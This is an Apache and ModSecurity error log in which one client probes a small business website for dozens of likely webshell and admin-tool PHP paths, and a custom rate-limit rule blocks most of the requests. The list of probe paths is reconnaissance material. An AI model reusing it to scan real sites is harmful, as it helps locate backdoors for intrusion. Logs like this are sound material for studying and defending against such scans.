[Fri Apr 24 03:53:05.471558 2026] [:error] [pid 53640:tid 53712] [client 20.215.57.60:34051] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-alone.php"] [unique_id "aep4ofvGCeB_vkvt8gGdcwAAAIc"]
[Fri Apr 24 03:53:06.539249 2026] [:error] [pid 53639:tid 53679] [client 20.215.57.60:34083] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-alone.php"] [unique_id "aep4osWp63IbJuTsepOWRgAAAEE"]
[Fri Apr 24 03:53:09.633260 2026] [:error] [pid 53738:tid 53740] [client 20.215.57.60:5822] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-alone.php"] [unique_id "aep4pVuaZcfIiYp8cBgTzgAAAMA"]
[Fri Apr 24 03:53:13.610845 2026] [:error] [pid 53640:tid 53729] [client 20.215.57.60:35125] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yasnu.php"] [unique_id "aep4qfvGCeB_vkvt8gGdiAAAAJg"]
[Fri Apr 24 03:53:15.818957 2026] [:error] [pid 53640:tid 53714] [client 20.215.57.60:34162] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yasnu.php"] [unique_id "aep4q_vGCeB_vkvt8gGdkAAAAIk"]
[Fri Apr 24 03:53:16.651784 2026] [:error] [pid 53738:tid 53762] [client 20.215.57.60:65177] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yasnu.php"] [unique_id "aep4rFuaZcfIiYp8cBgT8AAAANY"]
[Fri Apr 24 03:53:18.709543 2026] [:error] [pid 53640:tid 53721] [client 20.215.57.60:25109] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yasnu.php"] [unique_id "aep4rvvGCeB_vkvt8gGdoAAAAJA"]
[Fri Apr 24 03:53:19.979797 2026] [:error] [pid 53738:tid 53764] [client 20.215.57.60:62924] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sl.php"] [unique_id "aep4r1uaZcfIiYp8cBgT9wAAANg"]
[Fri Apr 24 03:53:21.283754 2026] [:error] [pid 53639:tid 53697] [client 20.215.57.60:17776] File does not exist: /usr/local/apache/htdocs/suspended-page/sl.php
[Fri Apr 24 03:53:21.545674 2026] [:error] [pid 53639:tid 53698] [client 20.215.57.60:17776] File does not exist: /usr/local/apache/htdocs/suspended-page/sw.php
[Fri Apr 24 03:53:21.813423 2026] [:error] [pid 53639:tid 53691] [client 20.215.57.60:17776] File does not exist: /usr/local/apache/htdocs/suspended-page/vuln.php
[Fri Apr 24 03:53:22.084470 2026] [:error] [pid 53639:tid 53684] [client 20.215.57.60:17776] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-temp.php
[Fri Apr 24 03:53:22.352210 2026] [:error] [pid 53639:tid 53688] [client 20.215.57.60:17776] File does not exist: /usr/local/apache/htdocs/suspended-page/sxdfrt.php
[Fri Apr 24 03:53:23.207800 2026] [:error] [pid 53639:tid 53698] [client 20.215.57.60:17776] File does not exist: /usr/local/apache/htdocs/suspended-page/class-bda.php
[Fri Apr 24 03:53:23.467338 2026] [:error] [pid 53639:tid 53693] [client 20.215.57.60:17776] File does not exist: /usr/local/apache/htdocs/suspended-page/bhm.php
[Fri Apr 24 03:53:23.732179 2026] [:error] [pid 53639:tid 53684] [client 20.215.57.60:17776] File does not exist: /usr/local/apache/htdocs/suspended-page/xmu.php
[Fri Apr 24 03:53:23.994677 2026] [:error] [pid 53639:tid 53686] [client 20.215.57.60:17776] File does not exist: /usr/local/apache/htdocs/suspended-page/ref.php
[Fri Apr 24 03:53:24.251629 2026] [:error] [pid 53639:tid 53690] [client 20.215.57.60:17776] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xme.php"] [unique_id "aep4tMWp63IbJuTsepOWrgAAAEw"]
[Fri Apr 24 03:53:26.144970 2026] [:error] [pid 53638:tid 53659] [client 20.215.57.60:25679] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xme.php"] [unique_id "aep4toE5TTy1-_qhowJpKwAAAAk"]
[Fri Apr 24 03:53:27.950031 2026] [:error] [pid 53638:tid 53658] [client 20.215.57.60:25099] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xme.php"] [unique_id "aep4t4E5TTy1-_qhowJpMgAAAAg"]
[Fri Apr 24 03:53:29.528658 2026] [:error] [pid 53640:tid 53722] [client 20.215.57.60:65189] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-xme.php"] [unique_id "aep4ufvGCeB_vkvt8gGdtwAAAJE"]
[Fri Apr 24 03:53:31.569168 2026] [:error] [pid 53738:tid 53743] [client 20.215.57.60:65197] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aep4u1uaZcfIiYp8cBgUBQAAAMM"]
[Fri Apr 24 03:53:32.834472 2026] [:error] [pid 53738:tid 53762] [client 20.215.57.60:51073] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aep4vFuaZcfIiYp8cBgUDgAAANY"]
[Fri Apr 24 03:53:33.781759 2026] [:error] [pid 53738:tid 53757] [client 20.215.57.60:48699] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aep4vVuaZcfIiYp8cBgUGwAAANE"]
[Fri Apr 24 03:53:34.885301 2026] [:error] [pid 53738:tid 53763] [client 20.215.57.60:62960] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/adminer.php"] [unique_id "aep4vluaZcfIiYp8cBgUKAAAANc"]
[Fri Apr 24 03:53:35.739112 2026] [:error] [pid 53638:tid 53664] [client 20.215.57.60:61780] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aep4v4E5TTy1-_qhowJpQAAAAA4"]
[Fri Apr 24 03:53:37.097408 2026] [:error] [pid 53639:tid 53693] [client 20.215.57.60:48687] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aep4wcWp63IbJuTsepOW_gAAAE8"]
[Fri Apr 24 03:53:38.348979 2026] [:error] [pid 53738:tid 53744] [client 20.215.57.60:37479] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aep4wluaZcfIiYp8cBgUNgAAAMQ"]
[Fri Apr 24 03:53:39.821740 2026] [:error] [pid 53639:tid 53690] [client 20.215.57.60:15718] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ktfow.php"] [unique_id "aep4w8Wp63IbJuTsepOXCgAAAEw"]
[Fri Apr 24 03:53:40.640885 2026] [:error] [pid 53640:tid 53724] [client 20.215.57.60:40689] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "aep4xPvGCeB_vkvt8gGd0gAAAJM"]
[Fri Apr 24 03:53:41.313040 2026] [:error] [pid 53638:tid 53670] [client 20.215.57.60:5581] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "aep4xYE5TTy1-_qhowJpUAAAABQ"]
[Fri Apr 24 03:53:42.053582 2026] [:error] [pid 53638:tid 53671] [client 20.215.57.60:18149] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "aep4xoE5TTy1-_qhowJpVAAAABU"]
[Fri Apr 24 03:53:43.108304 2026] [:error] [pid 53640:tid 53724] [client 20.215.57.60:18148] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "aep4x_vGCeB_vkvt8gGd3wAAAJM"]
[Fri Apr 24 03:53:44.547029 2026] [:error] [pid 53639:tid 53690] [client 20.215.57.60:18136] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Xx.php"] [unique_id "aep4yMWp63IbJuTsepOXHQAAAEw"]
[Fri Apr 24 03:53:45.489835 2026] [:error] [pid 53738:tid 53758] [client 20.215.57.60:25138] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Xx.php"] [unique_id "aep4yVuaZcfIiYp8cBgUQQAAANI"]
[Fri Apr 24 03:53:46.283472 2026] [:error] [pid 53640:tid 53724] [client 20.215.57.60:40669] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Xx.php"] [unique_id "aep4yvvGCeB_vkvt8gGd7AAAAJM"]
[Fri Apr 24 03:53:47.113098 2026] [:error] [pid 53639:tid 53701] [client 20.215.57.60:49156] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Xx.php"] [unique_id "aep4y8Wp63IbJuTsepOXJQAAAFc"]
[Fri Apr 24 03:53:48.019006 2026] [:error] [pid 53640:tid 53711] [client 20.215.57.60:62923] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmini.php"] [unique_id "aep4zPvGCeB_vkvt8gGd8gAAAIY"]
[Fri Apr 24 03:53:48.990482 2026] [:error] [pid 53640:tid 53724] [client 20.215.57.60:55936] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmini.php"] [unique_id "aep4zPvGCeB_vkvt8gGd9AAAAJM"]
[Fri Apr 24 03:53:49.857655 2026] [:error] [pid 53640:tid 53717] [client 20.215.57.60:15631] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmini.php"] [unique_id "aep4zfvGCeB_vkvt8gGd_wAAAIw"]
[Fri Apr 24 03:53:50.611476 2026] [:error] [pid 53638:tid 53661] [client 20.215.57.60:42795] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmini.php"] [unique_id "aep4zoE5TTy1-_qhowJpagAAAAs"]
[Fri Apr 24 03:53:51.617470 2026] [:error] [pid 53638:tid 53668] [client 20.215.57.60:40699] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2468.php"] [unique_id "aep4z4E5TTy1-_qhowJpbAAAABI"]
[Fri Apr 24 03:53:52.363162 2026] [:error] [pid 53638:tid 53665] [client 20.215.57.60:42780] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2468.php"] [unique_id "aep40IE5TTy1-_qhowJpcAAAAA8"]
[Fri Apr 24 03:53:53.267821 2026] [:error] [pid 53638:tid 53674] [client 20.215.57.60:48698] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2468.php"] [unique_id "aep40YE5TTy1-_qhowJpdgAAABg"]
[Fri Apr 24 03:53:54.238319 2026] [:error] [pid 53738:tid 53760] [client 20.215.57.60:51072] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2468.php"] [unique_id "aep40luaZcfIiYp8cBgUYAAAANQ"]
[Fri Apr 24 03:53:55.216847 2026] [:error] [pid 53639:tid 53682] [client 20.215.57.60:48690] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aep408Wp63IbJuTsepOXPAAAAEQ"]
[Fri Apr 24 03:53:56.553915 2026] [:error] [pid 53738:tid 53745] [client 20.215.57.60:48675] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aep41FuaZcfIiYp8cBgUbAAAAMU"]
[Fri Apr 24 03:53:58.848377 2026] [:error] [pid 53738:tid 53758] [client 20.215.57.60:15727] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aep41luaZcfIiYp8cBgUfwAAANI"]
[Fri Apr 24 03:53:59.587690 2026] [:error] [pid 53639:tid 53695] [client 20.215.57.60:37498] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aep418Wp63IbJuTsepOXQQAAAFE"]
[Fri Apr 24 03:54:01.995182 2026] [:error] [pid 53738:tid 53750] [client 20.215.57.60:33595] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aep42VuaZcfIiYp8cBgUjgAAAMo"]
[Fri Apr 24 03:54:04.165311 2026] [:error] [pid 53738:tid 53751] [client 20.215.57.60:40642] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aep43FuaZcfIiYp8cBgUnQAAAMs"]
[Fri Apr 24 03:54:05.535919 2026] [:error] [pid 53738:tid 53760] [client 20.215.57.60:33044] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aep43VuaZcfIiYp8cBgUpQAAANQ"]
[Fri Apr 24 03:54:07.757622 2026] [:error] [pid 53738:tid 53744] [client 20.215.57.60:50470] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aep431uaZcfIiYp8cBgUrgAAAMQ"]
[Fri Apr 24 03:54:10.212841 2026] [:error] [pid 53638:tid 53660] [client 20.215.57.60:33052] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amdin.php"] [unique_id "aep44oE5TTy1-_qhowJplAAAAAo"]
[Fri Apr 24 03:54:12.045016 2026] [:error] [pid 53738:tid 53751] [client 20.215.57.60:58905] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amdin.php"] [unique_id "aep45FuaZcfIiYp8cBgUyQAAAMs"]
[Fri Apr 24 03:54:13.343972 2026] [:error] [pid 53638:tid 53653] [client 20.215.57.60:58925] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amdin.php"] [unique_id "aep45YE5TTy1-_qhowJpmAAAAAM"]
[Fri Apr 24 03:54:14.333585 2026] [:error] [pid 53738:tid 53751] [client 20.215.57.60:39324] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/amdin.php"] [unique_id "aep45luaZcfIiYp8cBgU0wAAAMs"]
[Fri Apr 24 03:54:16.445271 2026] [:error] [pid 53640:tid 53728] [client 20.215.57.60:58935] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/huya.php"] [unique_id "aep46PvGCeB_vkvt8gGeLwAAAJc"]
[Fri Apr 24 03:54:18.307987 2026] [:error] [pid 53738:tid 53760] [client 20.215.57.60:60692] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/huya.php"] [unique_id "aep46luaZcfIiYp8cBgU5AAAANQ"]
[Fri Apr 24 03:54:19.643094 2026] [:error] [pid 53640:tid 53726] [client 20.215.57.60:58907] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/huya.php"] [unique_id "aep46_vGCeB_vkvt8gGeOAAAAJU"]
[Fri Apr 24 03:54:21.286895 2026] [:error] [pid 53640:tid 53721] [client 20.215.57.60:27164] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/huya.php"] [unique_id "aep47fvGCeB_vkvt8gGePQAAAJA"]
[Fri Apr 24 03:54:24.048989 2026] [:error] [pid 53640:tid 53716] [client 20.215.57.60:57872] File does not exist: /usr/local/apache/htdocs/suspended-page/puc.php
[Fri Apr 24 03:54:24.308792 2026] [:error] [pid 53640:tid 53713] [client 20.215.57.60:57872] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Fri Apr 24 03:54:24.569190 2026] [:error] [pid 53640:tid 53718] [client 20.215.57.60:57872] File does not exist: /usr/local/apache/htdocs/suspended-page/ewp.php
